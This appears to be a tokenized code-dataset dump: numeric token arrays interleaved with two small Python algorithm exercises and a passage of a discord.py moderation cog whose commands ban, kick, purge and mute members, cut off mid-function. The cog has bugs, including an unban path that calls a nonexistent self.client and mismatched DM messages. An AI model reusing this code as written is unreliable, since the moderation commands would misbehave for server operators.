13,
9651,
1095,
353,
274,
29906,
448,
304,
29918,
15450,
13,
4706,
1683,
29901,
13,
9651,
1095,
353,
7431,
29898,
15450,
2168,
29897,
13,
13,
4706,
565,
4464,
1275,
376,
2780,
1115,
13,
9651,
10944,
353,
17151,
2168,
7503,
2962,
29962,
13,
9651,
298,
29880,
353,
17151,
2168,
29961,
2962,
29901,
355,
29962,
13,
9651,
1791,
353,
17151,
2168,
29961,
355,
17531,
13,
9651,
1596,
29898,
13,
18884,
285,
29908,
29912,
3083,
6177,
426,
13506,
1157,
657,
5552,
29898,
29943,
487,
29892,
2927,
10172,
5568,
29889,
29933,
22789,
3912,
5038,
13,
18884,
285,
29908,
29912,
4415,
1157,
5568,
29889,
1525,
10490,
29918,
9818,
1157,
5060,
17671,
13,
18884,
934,
29922,
1445,
29892,
13,
9651,
1723,
13,
4706,
1683,
29901,
13,
9651,
1596,
29898,
29888,
29908,
29912,
3083,
6177,
426,
15450,
2168,
17671,
934,
29922,
1445,
29897,
13,
9651,
10944,
353,
376,
376,
334,
313,
2962,
718,
29871,
29906,
718,
7431,
29898,
710,
29898,
3083,
4961,
13,
9651,
1596,
29898,
13506,
718,
13898,
29908,
334,
313,
355,
448,
1369,
29897,
718,
3858,
29892,
934,
29922,
1445,
29897,
13,
13,
13,
1753,
14383,
29918,
999,
29898,
999,
1125,
13,
1678,
9995,
11609,
3692,
2479,
363,
263,
2143,
881,
367,
14993,
2986,
1213,
15945,
13,
1678,
7876,
29892,
6389,
29892,
658,
312,
668,
29892,
1180,
29892,
2531,
9144,
29892,
14383,
353,
903,
657,
29918,
3888,
29898,
999,
29897,
13,
1678,
736,
14383,
13,
13,
13,
1753,
1596,
29918,
999,
29898,
999,
29892,
934,
29922,
9675,
29889,
303,
20405,
1125,
13,
1678,
9995,
11816,
263,
2143,
29915,
29879,
4423,
1213,
15945,
13,
1678,
7876,
29892,
6389,
29892,
658,
312,
668,
29892,
1180,
29892,
2531,
9144,
29892,
14383,
353,
903,
657,
29918,
3888,
29898,
999,
29897,
13,
1678,
565,
1180,
338,
451,
6213,
29901,
13,
4706,
1596,
29898,
29888,
29908,
29912,
2029,
29889,
9507,
6177,
29912,
2029,
29889,
1220,
17671,
934,
29922,
1445,
29897,
13,
1678,
2531,
353,
285,
29908,
6071,
775,
5759,
297,
426,
1885,
9144,
29913,
6160,
565,
2531,
9144,
1683,
5124,
13,
1678,
1596,
703,
262,
613,
903,
4830,
29918,
4804,
29898,
9144,
29892,
6389,
511,
2531,
29892,
934,
29922,
1445,
29897,
13,
1678,
565,
1180,
338,
451,
6213,
29901,
13,
4706,
903,
4294,
29918,
5479,
29898,
2029,
29892,
12633,
934,
29922,
1445,
29897,
13,
13,
13,
1753,
1596,
29918,
262,
1659,
29918,
2704,
29898,
2704,
29892,
934,
29922,
9675,
29889,
303,
20405,
1125,
13,
1678,
9995,
11816,
385,
512,
1659,
2392,
29915,
29879,
9637,
1627,
1213,
15945,
13,
1678,
2143,
29879,
353,
518,
29930,
2704,
29889,
15003,
1627,
29918,
24539,
29889,
5975,
580,
29962,
718,
1059,
29889,
24539,
13,
1678,
363,
2143,
297,
2143,
29879,
29901,
13,
4706,
565,
451,
14383,
29918,
999,
29898,
999,
1125,
13,
9651,
1596,
703,
543,
334,
29871,
29947,
29900,
29892,
934,
29922,
1445,
29897,
13,
9651,
1596,
29918,
999,
29898,
999,
29892,
934,
29922,
1445,
29897,
13,
1678,
1596,
703,
30022,
29908,
334,
29871,
29947,
29900,
29892,
934,
29922,
1445,
29897,
13,
1678,
565,
1059,
29889,
2272,
22625,
29901,
13,
4706,
1596,
29898,
2704,
29889,
2272,
22625,
29892,
934,
29922,
1445,
29897,
13,
1678,
1683,
29901,
13,
4706,
1596,
29898,
29888,
29908,
29912,
1853,
29898,
2704,
467,
1649,
978,
1649,
6177,
426,
2704,
29889,
4906,
17671,
934,
29922,
1445,
29897,
13,
13,
13,
1753,
1596,
29918,
1357,
423,
29918,
29562,
29918,
2704,
29898,
2704,
29892,
934,
29922,
9675,
29889,
303,
20405,
1125,
13,
1678,
9995,
11816,
1619,
423,
16676,
2392,
29915,
29879,
4423,
1213,
15945,
13,
1678,
1180,
353,
1059,
29889,
2029,
13,
1678,
1596,
703,
543,
334,
29871,
29947,
29900,
29892,
934,
29922,
1445,
29897,
13,
1678,
565,
1180,
338,
451,
6213,
29901,
13,
4706,
1596,
29898,
29888,
29908,
29912,
2029,
29889,
9507,
6177,
29912,
2029,
29889,
1220,
17671,
934,
29922,
1445,
29897,
13,
1678,
565,
1180,
338,
451,
6213,
29901,
13,
4706,
903,
4294,
29918,
5479,
29898,
2029,
29892,
12633,
934,
29922,
1445,
29897,
13,
1678,
1596,
703,
30022,
29908,
334,
29871,
29947,
29900,
29892,
934,
29922,
1445,
29897,
13,
1678,
1596,
29898,
29888,
29908,
29912,
1853,
29898,
2704,
467,
1649,
978,
1649,
6177,
426,
2704,
17671,
934,
29922,
1445,
29897,
13,
13,
13,
29918,
24957,
29918,
735,
13300,
386,
2550,
353,
10876,
29889,
735,
13300,
386,
2550,
13,
13,
13,
1753,
590,
423,
29918,
735,
13300,
386,
2550,
29898,
735,
29883,
29918,
1853,
29892,
5566,
29918,
1767,
29892,
260,
29890,
1125,
13,
1678,
9995,
11816,
714,
512,
1659,
2392,
322,
1619,
423,
16676,
2392,
961,
5584,
1213,
15945,
13,
1678,
565,
338,
8758,
29898,
735,
29883,
29918,
1767,
29892,
512,
1659,
2392,
1125,
13,
4706,
1596,
29918,
262,
1659,
29918,
2704,
29898,
735,
29883,
29918,
1767,
29892,
934,
29922,
9675,
29889,
303,
20405,
29897,
13,
1678,
25342,
338,
8758,
29898,
735,
29883,
29918,
1767,
29892,
1619,
423,
16676,
2392,
1125,
13,
4706,
1596,
29918,
1357,
423,
29918,
29562,
29918,
2704,
29898,
735,
29883,
29918,
1767,
29892,
934,
29922,
9675,
29889,
303,
20405,
29897,
13,
1678,
1683,
29901,
13,
4706,
903,
24957,
29918,
735,
13300,
386,
2550,
29898,
735,
29883,
29918,
1853,
29892,
5566,
29918,
1767,
29892,
260,
29890,
29897,
13,
13,
13,
9675,
29889,
735,
13300,
386,
2550,
353,
590,
423,
29918,
735,
13300,
386,
2550,
13,
13,
13,
1753,
1596,
29918,
1357,
423,
29918,
27392,
29898,
27392,
29892,
934,
29922,
9675,
29889,
303,
20405,
1125,
13,
1678,
9995,
11816,
1619,
423,
24412,
29915,
29879,
4423,
1213,
15945,
13,
1678,
10191,
353,
9177,
29889,
5085,
29961,
29900,
29962,
13,
1678,
1180,
353,
9177,
29889,
2029,
13,
1678,
1596,
703,
543,
334,
29871,
29947,
29900,
29892,
934,
29922,
1445,
29897,
13,
1678,
565,
1180,
338,
451,
6213,
29901,
13,
4706,
1596,
29898,
29888,
29908,
29912,
2029,
29889,
9507,
6177,
29912,
2029,
29889,
1220,
17671,
934,
29922,
1445,
29897,
13,
1678,
565,
1180,
338,
451,
6213,
29901,
13,
4706,
903,
4294,
29918,
5479,
29898,
2029,
29892,
12633,
6213,
29892,
376,
1529,
29954,
3919,
29909,
613,
934,
29922,
1445,
29897,
13,
1678,
1596,
703,
30022,
29908,
334,
29871,
29947,
29900,
29892,
934,
29922,
1445,
29897,
13,
1678,
1596,
29898,
29888,
29908,
29912,
27392,
17255,
1990,
1649,
17255,
978,
1649,
6177,
426,
7645,
17671,
934,
29922,
1445,
29897,
13,
13,
13,
29918,
24957,
29918,
27392,
353,
18116,
29889,
4294,
27392,
13,
13,
13,
1753,
590,
423,
29918,
27392,
29898,
4906,
29892,
7663,
29892,
10422,
29892,
6276,
8154,
29892,
934,
29892,
1196,
1125,
13,
1678,
9995,
11816,
714,
1619,
423,
4205,
18045,
3399,
22709,
961,
5584,
1213,
15945,
13,
1678,
565,
7663,
338,
1619,
423,
4205,
18045,
3399,
22709,
29901,
13,
4706,
396,
2643,
338,
2869,
263,
1619,
423,
4205,
18045,
3399,
22709,
1203,
29892,
13,
4706,
396,
1584,
2466,
445,
3443,
310,
590,
423,
29918,
27392,
338,
2000,
2643,
13,
4706,
396,
313,
262,
1797,
304,
1993,
3443,
2983,
310,
20831,
287,
1510,
27392,
29897,
13,
4706,
1596,
29918,
1357,
423,
29918,
27392,
29898,
4906,
29892,
934,
29922,
9675,
29889,
303,
20405,
29897,
13,
1678,
1683,
29901,
13,
4706,
903,
24957,
29918,
27392,
29898,
4906,
29892,
7663,
29892,
10422,
29892,
6276,
8154,
29892,
934,
29892,
1196,
29897,
13,
13,
13,
25442,
886,
29889,
4294,
27392,
353,
590,
423,
29918,
27392,
13,
25442,
886,
29889,
4572,
25442,
886,
703,
21936,
613,
7663,
29922,
3421,
423,
4205,
18045,
3399,
22709,
29897,
13,
13,
13,
1649,
497,
1649,
353,
518,
13,
1678,
376,
1357,
423,
29918,
735,
13300,
386,
2550,
613,
13,
1678,
376,
1357,
423,
29918,
27392,
613,
13,
1678,
376,
2158,
29918,
262,
1659,
29918,
2704,
613,
13,
1678,
376,
2158,
29918,
1357,
423,
29918,
29562,
29918,
2704,
613,
13,
1678,
376,
2158,
29918,
1357,
423,
29918,
27392,
613,
13,
1678,
376,
2158,
29918,
999,
613,
13,
1678,
376,
11014,
29918,
3177,
613,
13,
1678,
376,
11014,
29918,
999,
613,
13,
29962,
13,
2
] |
project3/rearrange_digits.py | qiyangjie/Udacity-Data-Structures-Algorithm-Projects | 0 | 169978 | def sort_a_little_bit(items, begin_index, end_index):
left_index = begin_index
pivot_index = end_index
pivot_value = items[pivot_index]
while pivot_index != left_index:
item = items[left_index]
if item <= pivot_value:
left_index += 1
continue
items[left_index] = items[pivot_index - 1]
items[pivot_index - 1] = pivot_value
items[pivot_index] = item
pivot_index -= 1
return pivot_index
def sort_all(items, begin_index, end_index):
if end_index <= begin_index:
return
pivot_index = sort_a_little_bit(items, begin_index, end_index)
sort_all(items, begin_index, pivot_index - 1)
sort_all(items, pivot_index + 1, end_index)
def quicksort(items):
sort_all(items, 0, len(items) - 1)
def rearrange_digits(input_list):
"""
Rearrange Array Elements so as to form two number such that their sum is maximum.
Args:
input_list(list): Input List
Returns:
(int),(int): Two maximum sums
"""
if len(input_list) <= 0:
return -1, -1
if len(input_list) == 1:
return input_list[0], 0
quicksort(input_list)
# num1 is bigger
num2_len = len(input_list) // 2
num1_len = len(input_list) - num2_len
num1_index = num1_len - 1
num2_index = num2_len - 1
num1 = [''] * num1_len
num2 = [''] * num2_len
for i, element in enumerate(input_list):
if i % 2 == 0:
num1[num1_index] = str(element)
num1_index -= 1
else:
num2[num2_index] = str(element)
num2_index -= 1
return int("".join(num1)), int("".join(num2))
def test_function(test_case):
output = rearrange_digits(test_case[0])
solution = test_case[1]
if sum(output) == sum(solution):
print("Pass")
else:
print("Fail")
if __name__ == '__main__':
test_function([[1, 2, 3, 4, 5], [542, 31]])
test_function([[4, 6, 2, 5, 9, 8], [964, 852]])
# corner case
test_function([[], [-1, -1]])
test_function([[3], [3, 0]])
| [
1,
822,
2656,
29918,
29874,
29918,
29880,
1992,
29918,
2966,
29898,
7076,
29892,
3380,
29918,
2248,
29892,
1095,
29918,
2248,
1125,
13,
1678,
2175,
29918,
2248,
353,
3380,
29918,
2248,
13,
1678,
24438,
29918,
2248,
353,
1095,
29918,
2248,
13,
1678,
24438,
29918,
1767,
353,
4452,
29961,
29886,
11002,
29918,
2248,
29962,
13,
13,
1678,
1550,
24438,
29918,
2248,
2804,
2175,
29918,
2248,
29901,
13,
4706,
2944,
353,
4452,
29961,
1563,
29918,
2248,
29962,
13,
4706,
565,
2944,
5277,
24438,
29918,
1767,
29901,
13,
9651,
2175,
29918,
2248,
4619,
29871,
29896,
13,
9651,
6773,
13,
13,
4706,
4452,
29961,
1563,
29918,
2248,
29962,
353,
4452,
29961,
29886,
11002,
29918,
2248,
448,
29871,
29896,
29962,
13,
4706,
4452,
29961,
29886,
11002,
29918,
2248,
448,
29871,
29896,
29962,
353,
24438,
29918,
1767,
13,
4706,
4452,
29961,
29886,
11002,
29918,
2248,
29962,
353,
2944,
13,
4706,
24438,
29918,
2248,
22361,
29871,
29896,
13,
13,
1678,
736,
24438,
29918,
2248,
13,
13,
13,
1753,
2656,
29918,
497,
29898,
7076,
29892,
3380,
29918,
2248,
29892,
1095,
29918,
2248,
1125,
13,
1678,
565,
1095,
29918,
2248,
5277,
3380,
29918,
2248,
29901,
13,
4706,
736,
13,
13,
1678,
24438,
29918,
2248,
353,
2656,
29918,
29874,
29918,
29880,
1992,
29918,
2966,
29898,
7076,
29892,
3380,
29918,
2248,
29892,
1095,
29918,
2248,
29897,
13,
1678,
2656,
29918,
497,
29898,
7076,
29892,
3380,
29918,
2248,
29892,
24438,
29918,
2248,
448,
29871,
29896,
29897,
13,
1678,
2656,
29918,
497,
29898,
7076,
29892,
24438,
29918,
2248,
718,
29871,
29896,
29892,
1095,
29918,
2248,
29897,
13,
13,
13,
1753,
4996,
6605,
29898,
7076,
1125,
13,
1678,
2656,
29918,
497,
29898,
7076,
29892,
29871,
29900,
29892,
7431,
29898,
7076,
29897,
448,
29871,
29896,
29897,
13,
13,
13,
1753,
18983,
3881,
29918,
7501,
1169,
29898,
2080,
29918,
1761,
1125,
13,
1678,
9995,
13,
1678,
390,
799,
3881,
4398,
10619,
29879,
577,
408,
304,
883,
1023,
1353,
1316,
393,
1009,
2533,
338,
7472,
29889,
13,
13,
1678,
826,
3174,
29901,
13,
539,
1881,
29918,
1761,
29898,
1761,
1125,
10567,
2391,
13,
1678,
16969,
29901,
13,
539,
313,
524,
21336,
524,
1125,
7803,
7472,
25470,
13,
1678,
9995,
13,
13,
1678,
565,
7431,
29898,
2080,
29918,
1761,
29897,
5277,
29871,
29900,
29901,
13,
4706,
736,
448,
29896,
29892,
448,
29896,
13,
13,
1678,
565,
7431,
29898,
2080,
29918,
1761,
29897,
1275,
29871,
29896,
29901,
13,
4706,
736,
1881,
29918,
1761,
29961,
29900,
1402,
29871,
29900,
13,
13,
1678,
4996,
6605,
29898,
2080,
29918,
1761,
29897,
13,
13,
1678,
396,
954,
29896,
338,
16600,
13,
1678,
954,
29906,
29918,
2435,
353,
7431,
29898,
2080,
29918,
1761,
29897,
849,
29871,
29906,
13,
1678,
954,
29896,
29918,
2435,
353,
7431,
29898,
2080,
29918,
1761,
29897,
448,
954,
29906,
29918,
2435,
13,
13,
1678,
954,
29896,
29918,
2248,
353,
954,
29896,
29918,
2435,
448,
29871,
29896,
13,
1678,
954,
29906,
29918,
2248,
353,
954,
29906,
29918,
2435,
448,
29871,
29896,
13,
13,
1678,
954,
29896,
353,
6024,
2033,
334,
954,
29896,
29918,
2435,
13,
1678,
954,
29906,
353,
6024,
2033,
334,
954,
29906,
29918,
2435,
13,
1678,
363,
474,
29892,
1543,
297,
26985,
29898,
2080,
29918,
1761,
1125,
13,
4706,
565,
474,
1273,
29871,
29906,
1275,
29871,
29900,
29901,
13,
9651,
954,
29896,
29961,
1949,
29896,
29918,
2248,
29962,
353,
851,
29898,
5029,
29897,
13,
9651,
954,
29896,
29918,
2248,
22361,
29871,
29896,
13,
4706,
1683,
29901,
13,
9651,
954,
29906,
29961,
1949,
29906,
29918,
2248,
29962,
353,
851,
29898,
5029,
29897,
13,
9651,
954,
29906,
29918,
2248,
22361,
29871,
29896,
13,
13,
1678,
736,
938,
703,
1642,
7122,
29898,
1949,
29896,
8243,
938,
703,
1642,
7122,
29898,
1949,
29906,
876,
13,
13,
13,
1753,
1243,
29918,
2220,
29898,
1688,
29918,
4878,
1125,
13,
1678,
1962,
353,
18983,
3881,
29918,
7501,
1169,
29898,
1688,
29918,
4878,
29961,
29900,
2314,
13,
1678,
1650,
353,
1243,
29918,
4878,
29961,
29896,
29962,
13,
1678,
565,
2533,
29898,
4905,
29897,
1275,
2533,
29898,
2929,
918,
1125,
13,
4706,
1596,
703,
7129,
1159,
13,
1678,
1683,
29901,
13,
4706,
1596,
703,
16243,
1159,
13,
13,
13,
361,
4770,
978,
1649,
1275,
525,
1649,
3396,
1649,
2396,
13,
1678,
1243,
29918,
2220,
4197,
29961,
29896,
29892,
29871,
29906,
29892,
29871,
29941,
29892,
29871,
29946,
29892,
29871,
29945,
1402,
518,
29945,
29946,
29906,
29892,
29871,
29941,
29896,
24960,
13,
1678,
1243,
29918,
2220,
4197,
29961,
29946,
29892,
29871,
29953,
29892,
29871,
29906,
29892,
29871,
29945,
29892,
29871,
29929,
29892,
29871,
29947,
1402,
518,
29929,
29953,
29946,
29892,
29871,
29947,
29945,
29906,
24960,
13,
1678,
396,
11155,
1206,
13,
1678,
1243,
29918,
2220,
4197,
29961,
1402,
21069,
29896,
29892,
448,
29896,
24960,
13,
1678,
1243,
29918,
2220,
4197,
29961,
29941,
1402,
518,
29941,
29892,
29871,
29900,
24960,
13,
2
] |
coding patterns/two pointers/sortedarr_square.py | mkoryor/Python | 0 | 4900 | <filename>coding patterns/two pointers/sortedarr_square.py
"""
[E] Given a sorted array, create a new array containing squares of all the
number of the input array in the sorted order.
Input: [-2, -1, 0, 2, 3]
Output: [0, 1, 4, 4, 9]
"""
# Time: O(N) Space: O(n)
def make_squares(arr):
n = len(arr)
squares = [0 for x in range(n)]
highestSquareIdx = n - 1
left, right = 0, n - 1
while left <= right:
leftSquare = arr[left] * arr[left]
rightSquare = arr[right] * arr[right]
if leftSquare > rightSquare:
squares[highestSquareIdx] = leftSquare
left += 1
else:
squares[highestSquareIdx] = rightSquare
right -= 1
highestSquareIdx -= 1
return squares
| [
1,
529,
9507,
29958,
29883,
3689,
15038,
29914,
10184,
12589,
29914,
24582,
2749,
29918,
17619,
29889,
2272,
13,
13,
13,
13,
15945,
29908,
13,
13,
29961,
29923,
29962,
11221,
263,
12705,
1409,
29892,
1653,
263,
716,
1409,
6943,
25256,
310,
599,
278,
29871,
13,
4537,
310,
278,
1881,
1409,
297,
278,
12705,
1797,
29889,
13,
13,
4290,
29901,
21069,
29906,
29892,
448,
29896,
29892,
29871,
29900,
29892,
29871,
29906,
29892,
29871,
29941,
29962,
13,
6466,
29901,
518,
29900,
29892,
29871,
29896,
29892,
29871,
29946,
29892,
29871,
29946,
29892,
29871,
29929,
29962,
13,
13,
15945,
29908,
13,
13,
29937,
5974,
29901,
438,
29898,
29940,
29897,
14121,
29901,
438,
29898,
29876,
29897,
13,
1753,
1207,
29918,
26613,
5114,
29898,
2749,
1125,
13,
29871,
302,
353,
7431,
29898,
2749,
29897,
13,
29871,
25256,
353,
518,
29900,
363,
921,
297,
3464,
29898,
29876,
4638,
13,
29871,
9939,
29903,
4718,
1204,
29916,
353,
302,
448,
29871,
29896,
13,
29871,
2175,
29892,
1492,
353,
29871,
29900,
29892,
302,
448,
29871,
29896,
13,
29871,
1550,
2175,
5277,
1492,
29901,
13,
1678,
2175,
29903,
4718,
353,
3948,
29961,
1563,
29962,
334,
3948,
29961,
1563,
29962,
13,
1678,
1492,
29903,
4718,
353,
3948,
29961,
1266,
29962,
334,
3948,
29961,
1266,
29962,
13,
1678,
565,
2175,
29903,
4718,
1405,
1492,
29903,
4718,
29901,
13,
418,
25256,
29961,
9812,
342,
29903,
4718,
1204,
29916,
29962,
353,
2175,
29903,
4718,
13,
418,
2175,
4619,
29871,
29896,
13,
1678,
1683,
29901,
13,
418,
25256,
29961,
9812,
342,
29903,
4718,
1204,
29916,
29962,
353,
1492,
29903,
4718,
13,
418,
1492,
22361,
29871,
29896,
13,
1678,
9939,
29903,
4718,
1204,
29916,
22361,
29871,
29896,
13,
13,
29871,
736,
25256,
13,
13,
2
] |
src/cogs/moderation.py | Arslee-Develop/openmod | 5 | 64647 | <filename>src/cogs/moderation.py
import asyncio
from typing import NoReturn
import discord
from discord import Member, User
from discord.ext import commands
from discord.ext.commands import Bot, Context, Greedy
from discord_components import Button, ButtonStyle, DiscordComponents
from cogs.utils import Config, Logger, Settings, Strings, Utils
CONFIG = Config()
class Moderation(commands.Cog, name="Moderation"):
def __init__(self, bot: Bot) -> None:
self.bot = bot
self.name = "Moderation"
@commands.command()
@commands.guild_only()
@commands.bot_has_permissions(ban_members=True)
@commands.has_permissions(ban_members=True)
@commands.cooldown(1, 5, commands.BucketType.user)
async def ban(self,
ctx: Context,
member: Member,
*,
reason: str = "N/A") -> NoReturn:
"""Bans the user.
Attributes:
-----------
- `member` - user
- `reason` - ban reason
"""
s = await Settings(ctx.guild.id)
lang = await s.get_field("locale", CONFIG["default_locale"])
STRINGS = Strings(lang)
select_components = [[
Button(style=ButtonStyle.green, label="✓"),
Button(style=ButtonStyle.red, label="X"),
]]
done_components = [[
Button(style=ButtonStyle.grey, label="·", disabled=True),
]]
embedconfirm = discord.Embed(
title="Ban Command",
description="```Do you want to ban this member?```",
)
await ctx.send(embed=embedconfirm, components=select_components)
response = await self.bot.wait_for(
"button_click", check=lambda message: message.author == ctx.author)
try:
if response.component.label == "✓":
await response.respond(
type=7,
embed=discord.Embed(
title="Action confirmed",
description=f"Banning {member} for {reason}",
color=0xFF8000,
),
components=done_components,
)
if not member.bot:
embed = Utils.error_embed(
STRINGS["moderation"]["dm_kick"].format(
ctx.guild, reason))
await member.send(embed=embed)
await asyncio.sleep(5)
await member.ban(reason=reason)
else:
await response.respond(
type=7,
embed=discord.Embed(
title="Action Aborted",
description="The action was aborted by clicking the no button",
color=0xDD2E44,
),
components=done_components,
)
except discord.Forbidden:
await ctx.message.add_reaction(CONFIG["no_emoji"])
embed = Utils.error_embed(STRINGS["error"]["ban_fail"])
msg = await ctx.send(embed=embed)
await asyncio.sleep(5)
await msg.delete()
else:
try:
embed = Utils.error_embed(
STRINGS["moderation"]["dm_ban"].format(
ctx.guild.name, reason))
await member.send(embed=embed)
except:
pass
await ctx.message.add_reaction(CONFIG["yes_emoji"])
@commands.command()
@commands.guild_only()
@commands.bot_has_permissions(ban_members=True)
@commands.has_permissions(ban_members=True)
@commands.cooldown(1, 5, commands.BucketType.user)
async def unban(self, ctx, *, member) -> NoReturn:
"""Unbans the user.
Attributes:
-----------
- `member` - user tag. Example: `name#1234`
"""
s = await Settings(ctx.guild.id)
lang = await s.get_field("locale", CONFIG["default_locale"])
STRINGS = Strings(lang)
select_components = [[
Button(style=ButtonStyle.green, label="✓"),
Button(style=ButtonStyle.red, label="X"),
]]
done_components = [[
Button(style=ButtonStyle.grey, label="·", disabled=True),
]]
embedconfirm = discord.Embed(
title="Unban Command",
description="```Do you want to unban this member?```",
)
await ctx.send(embed=embedconfirm, components=select_components)
response = await self.bot.wait_for(
"button_click", check=lambda message: message.author == ctx.author)
if "#" in ctx.message.content and response.component.label == "✓":
banned_users = await ctx.guild.bans()
for ban_entry in banned_users:
member_name, member_discriminator = member.split("#")
user = ban_entry.user
if (user.name, user.discriminator) == (
member_name,
member_discriminator,
):
await ctx.guild.unban(user)
await response.respond(
type=7,
embed=discord.Embed(
title="Action confirmed",
description=f"Unbanned {user}",
color=0xFF8000,
),
components=done_components,
)
return
elif response.component.label == "✓":
member = await self.client.fetch_user(int(member))
await ctx.guild.unban(member)
await response.respond(
type=7,
embed=discord.Embed(
title="Action confirmed",
description=f"Unbanned {member}",
color=0xFF8000,
),
components=done_components,
)
else:
await response.respond(
type=7,
embed=discord.Embed(
title="Action Aborted",
description="The action was aborted by clicking the no button",
color=0xDD2E44,
),
components=done_components,
)
await ctx.message.add_reaction(CONFIG["no_emoji"])
embed = Utils.error_embed(STRINGS["error"]["user_not_found"])
await ctx.send(embed=embed)
@commands.command()
@commands.guild_only()
@commands.bot_has_permissions(ban_members=True)
@commands.has_permissions(ban_members=True)
@commands.cooldown(1, 5, commands.BucketType.user)
async def multiban(self,
ctx: Context,
members: Greedy[Member],
*,
reason: str = "N/A") -> NoReturn:
"""Bans multiple users.
Attributes:
-----------
- `member` - user
- `reason` - ban reason
"""
s = await Settings(ctx.guild.id)
lang = await s.get_field("locale", CONFIG["default_locale"])
STRINGS = Strings(lang)
not_banned_members = []
for member in members:
try:
await member.ban(reason=reason)
await ctx.send("Members banned")
except discord.Forbidden:
not_banned_members.append(member.mention)
else:
try:
embed = Utils.error_embed(
STRINGS["moderation"]["dm_ban"].format(
ctx.guild.name, reason))
await member.send(embed=embed)
except:
pass
if not not_banned_members:
await ctx.message.add_reaction(CONFIG["yes_emoji"])
else:
await ctx.message.add_reaction(CONFIG["warn_emoji"])
msg = await ctx.send(
Utils.warn_embed(
STRINGS["moderation"]["on_not_full_multiban"].format(
", ".join(not_banned_members))))
await asyncio.sleep(30)
await msg.delete()
@commands.command()
@commands.guild_only()
@commands.bot_has_permissions(kick_members=True)
@commands.has_permissions(kick_members=True)
@commands.cooldown(1, 5, commands.BucketType.user)
async def kick(self,
ctx: Context,
member: Member,
*,
reason: str = "N/A") -> NoReturn:
"""Kicks the user.
Attributes:
-----------
- `member` - user
- `reason` - kick reason
"""
s = await Settings(ctx.guild.id)
lang = await s.get_field("locale", CONFIG["default_locale"])
STRINGS = Strings(lang)
select_components = [[
Button(style=ButtonStyle.green, label="✓"),
Button(style=ButtonStyle.red, label="X"),
]]
done_components = [[
Button(style=ButtonStyle.grey, label="·", disabled=True),
]]
embedconfirm = discord.Embed(
title="Kick Command",
description="```Do you want to kick this member?```",
)
await ctx.send(embed=embedconfirm, components=select_components)
response = await self.bot.wait_for(
"button_click", check=lambda message: message.author == ctx.author)
if response.component.label == "✓":
await response.respond(
type=7,
embed=discord.Embed(
title="Action Completed",
description=f"Kicked {member} for {reason}",
color=0xDD2E44,
),
components=done_components,
)
if not member.bot:
embed = Utils.error_embed(
STRINGS["moderation"]["dm_kick"].format(ctx.guild, reason))
await member.send(embed=embed)
await asyncio.sleep(5)
await member.kick()
await ctx.message.add_reaction(CONFIG["yes_emoji"])
else:
await response.respond(
type=7,
embed=discord.Embed(
title="Action Aborted",
description="The action was aborted by clicking the no button",
color=0xDD2E44,
),
components=done_components,
)
return
@commands.command(aliases=["clear"])
@commands.guild_only()
@commands.bot_has_permissions(manage_messages=True)
@commands.has_permissions(manage_messages=True)
@commands.cooldown(1, 5, commands.BucketType.user)
async def purge(self, ctx: Context, number: int) -> NoReturn:
"""Deletes a specified number of messages in the current channel.
Attributes:
-----------
- `number` - The number of messages to be deleted.
"""
s = await Settings(ctx.guild.id)
lang = await s.get_field("locale", CONFIG["default_locale"])
STRINGS = Strings(lang)
select_components = [[
Button(style=ButtonStyle.green, label="✓"),
Button(style=ButtonStyle.red, label="X"),
]]
done_components = [[
Button(style=ButtonStyle.grey, label="·", disabled=True),
]]
embedconfirm = discord.Embed(
title="Clear Command",
description=f"```Do you want to remove {number} messages?```",
)
await ctx.send(embed=embedconfirm, components=select_components)
response = await self.bot.wait_for(
"button_click", check=lambda message: message.author == ctx.author)
if response.component.label == "✓":
await response.respond(
type=7,
embed=discord.Embed(
title="Action Completed",
description=f"Purging {number} messages",
color=0xDD2E44,
),
components=done_components,
)
await asyncio.sleep(10)
deleted = await ctx.channel.purge(limit=number + 1)
else:
await response.respond(
type=7,
embed=discord.Embed(
title="Action Aborted",
description="The action was aborted by clicking the no button",
color=0xDD2E44,
),
components=done_components,
)
return
@commands.command(aliases=["setnick, setname"])
@commands.guild_only()
@commands.bot_has_permissions(manage_nicknames=True)
@commands.has_permissions(manage_roles=True)
@commands.cooldown(1, 5, commands.BucketType.user)
async def setname(self, ctx: Context, member: Member, *,
name: str) -> NoReturn:
s = await Settings(ctx.guild.id)
lang = await s.get_field("locale", CONFIG["default_locale"])
STRINGS = Strings(lang)
if len(name) > 32:
embed = Utils.error_embed(STRINGS["error"]["too_long_name"])
await ctx.send(embed=embed)
elif (ctx.message.author.guild_permissions.manage_nicknames
or member == ctx.message.author):
await member.edit(nick=name)
await ctx.message.add_reaction(CONFIG["yes_emoji"])
else:
embed = Utils.error_embed(STRINGS["error"]["missing_perms"])
await ctx.send(embed=embed)
@commands.command()
@commands.guild_only()
@commands.bot_has_permissions(manage_roles=True)
@commands.cooldown(1, 5, commands.BucketType.user)
async def mute(self,
ctx: Context,
member: Member,
*,
reason: str = "N/A") -> NoReturn:
s = await Settings(ctx.guild.id)
lang = await s.get_field("locale", CONFIG["default_locale"])
STRINGS = Strings(lang)
mute_role_id = await s.get_field("mute_role_id")
if (mute_role_id is None or
discord.utils.get(ctx.guild.roles, id=mute_role_id) is None):
embed = Utils.done_embed(
STRINGS["moderation"]["on_mute_role_create"])
await ctx.send(embed=embed)
mute_role = await ctx.guild.create_role(name="Muted")
await s.set_field("mute_role_id", mute_role.id)
mute_role_id = await s.get_field("mute_role_id")
else:
mute_role = discord.utils.get(ctx.guild.roles, id=mute_role_id)
for user_role in member.roles:
if user_role == mute_role:
embed = Utils.error_embed(
STRINGS["error"]["already_muted"])
await ctx.send(embed=embed)
return
for channel in ctx.guild.text_channels:
await channel.set_permissions(mute_role,
read_messages=True,
send_messages=False,
speak=False)
await member.add_roles(mute_role)
await ctx.message.add_reaction(CONFIG["yes_emoji"])
@commands.command()
@commands.guild_only()
@commands.bot_has_permissions(manage_roles=True)
@commands.has_permissions(manage_roles=True)
@commands.cooldown(1, 5, commands.BucketType.user)
async def unmute(self,
ctx: Context,
member: Member,
*,
reason: str = "N/A") -> NoReturn:
mute_role = discord.utils.get(ctx.guild.roles,
id=Utils.get_mute_role(
None, ctx.message))
if mute_role is None:
# FIXME
await ctx.send("нету роли мута ок да\n\n\nок")
else:
await member.remove_roles(mute_role)
await ctx.message.add_reaction(CONFIG["yes_emoji"])
@commands.command()
@commands.guild_only()
@commands.bot_has_permissions(manage_roles=True)
@commands.has_permissions(manage_roles=True)
@commands.cooldown(1, 30, commands.BucketType.user)
# `RoleConverter` will automatically convert it to a `discord.Role` instance
async def lockdownrole(self, ctx, role: discord.Role):
s = await Settings(ctx.guild.id)
